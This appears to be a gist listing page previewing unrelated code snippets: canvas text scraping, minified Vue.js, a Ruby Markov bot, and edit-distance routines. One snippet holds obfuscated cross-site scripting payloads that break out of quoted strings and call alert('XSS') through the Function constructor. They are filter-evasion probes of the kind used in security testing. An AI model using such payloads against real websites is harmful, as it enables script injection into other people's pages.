Run it from the JavaScript console many times!
texts = {}
array = []
CanvasRenderingContext2D.prototype.fillText = function(a, x, y) {
texts[x] = a
}
eval(document.querySelector('script').innerText)
for (x in texts) array.push(texts[x])
Run it from the JavaScript console many times!
texts = {}
array = []
CanvasRenderingContext2D.prototype.fillText = function(a, x, y) {
texts[x] = a
}
eval(document.querySelector('script').innerText)
for (x in texts) array.push(texts[x])
str = "" | |
fields.forEach(function(f) { | |
str += '{ "title": { "ja": ' + JSON.stringify(f.title.ja) + ', "en": ' + JSON.stringify(f.title.en) + ' }' + | |
',\n "breakedTitles": { "ja": ' + JSON.stringify(f.breakedTitles.ja).split('","').join('", "') + ', "en": ' + JSON.stringify(f.breakedTitles.en).split('","').join('", "') + ' }' + | |
',\n "x": ' + f.x + ', "y": ' + f.y + ', "r": ' + f.r + ', "people": ' + JSON.stringify(f.people) + ', "type": ' + JSON.stringify(f.type) + ' }' + ',\n' | |
}) | |
copy(str) |
/* | |
Vue.js v0.10.6 | |
(c) 2014 Evan You | |
License: MIT | |
*/ | |
!function(){"use strict";function e(t,i,r){var n=e.resolve(t);if(null!=n){var s=e.modules[n];if(!s._resolving&&!s.exports){var o={};o.exports={},o.client=o.component=!0,s._resolving=!0,s.call(this,o.exports,e.relative(n),o),delete s._resolving,s.exports=o.exports}return s.exports}}e.modules={},e.aliases={},e.exts=["",".js",".json","/index.js","/index.json"],e.resolve=function(t){"/"===t.charAt(0)&&(t=t.slice(1));for(var i=0;5>i;i++){var r=t+e.exts[i];if(e.modules.hasOwnProperty(r))return r;if(e.aliases.hasOwnProperty(r))return e.aliases[r]}},e.normalize=function(e,t){var i=[];if("."!=t.charAt(0))return t;e=e.split("/"),t=t.split("/");for(var r=0;r<t.length;++r)".."===t[r]?e.pop():"."!=t[r]&&""!=t[r]&&i.push(t[r]);return e.concat(i).join("/")},e.register=function(t,i){e.modules[t]=i},e.alias=function(t,i){e.modules.hasOwnProperty(t)&&(e.aliases[i]=t)},e.relative=function(t){function i(r){var n=i.resolve(r);return e(n,t,r)}var r=e.normalize(t,"..");return i |
(new g()).constructor(true) |
require_relative './lib/markov' | |
require 'socket' | |
markov = Markov.new | |
timeline = [] | |
File.open("./timeline.txt", "r") do |f| | |
f.each_line do |line| | |
timeline << line.chomp | |
end |
"use strict" | |
class C { | |
constructor() { | |
this.x = 1 | |
} | |
say(str) { | |
console.log(str) | |
} | |
static static() { |
";hoge14='constructorhoge14'.slice(84645-84645,84656-84645);hoge15='alerthoge14'.slice(84645-84645,84650-84645);hoge16='XSShoge14'.slice(84645-84645,84648-84645);[][hoge14][hoge14](hoge15+'(\''+hoge16+'\')')()// | |
\";hoge17='constructorhoge17'.substr(45998-45998,46009-45998);hoge18='alerthoge17'.substr(45998-45998,46003-45998);hoge19='XSShoge17'.substr(45998-45998,46001-45998);[][hoge17][hoge17](hoge18+'(\''+hoge19+'\')')()// | |
',(hoge20='constructorhogee'.replace('hogee',''),hoge21='alerthogee'.replace('hogee',''),hoge22='XSShogee'.replace('hogee',''),[][hoge20][hoge20](hoge21+'(\''+hoge22+'\')')()),' | |
")};hoge30=88831-88831;hoge31='cccchoge30'.split('')[hoge30]+'oooohoge30'.split('')[hoge30]+'nnnnhoge30'.split('')[hoge30]+'sssshoge30'.split('')[hoge30]+'tttthoge30'.split('')[hoge30]+'rrrrhoge30'.split('')[hoge30]+'uuuuhoge30'.split('')[hoge30]+'cccchoge30'.split('')[hoge30]+'tttthoge30'.split('')[hoge30]+'oooohoge30'.split('')[hoge30]+'rrrrhoge30'.split('')[hoge30];hoge32='aaaahoge30'.split('')[hoge30]+'llllhoge |
// ref: https://github.com/toshok/echo-js/blob/e9d3c55cd9eb852c627d1bd0f28972b99a137a40/runtime/ejs-reflect.c | |
let foo = { | |
bar: 123 | |
}; | |
let sym = Symbol('test') | |
foo[sym] = 456 | |
// Reflect.get | |
console.log(Reflect.get(foo, 'bar')) // => 123 |
let distance = (str1, str2) => { | |
let distanceTable = [] | |
for (let i = 0; i <= str1.length; ++i) { | |
distanceTable[i] = [] | |
for (let j = 0; j <= str2.length; ++j) { | |
distanceTable[i][j] = -1 | |
} | |
} | |
for (let i = 0; i <= str1.length; ++i) { | |
distanceTable[i][0] = i |
var calcAlignment = function(str1, str2) { | |
// DPにより最短経路を計算 | |
var table = [] | |
var n = str1.length; | |
var m = str2.length; | |
for (var i = 0; i <= n; ++i) { | |
table[i] = []; | |
for (var j = 0; j <= m; ++j) { | |
if (i === 0) { table[i][j] = { cost: -j, x: j - 1, y: 0 } } | |
else if (j === 0) { table[i][j] = { cost: -i, x: 0, y: i - 1 } } |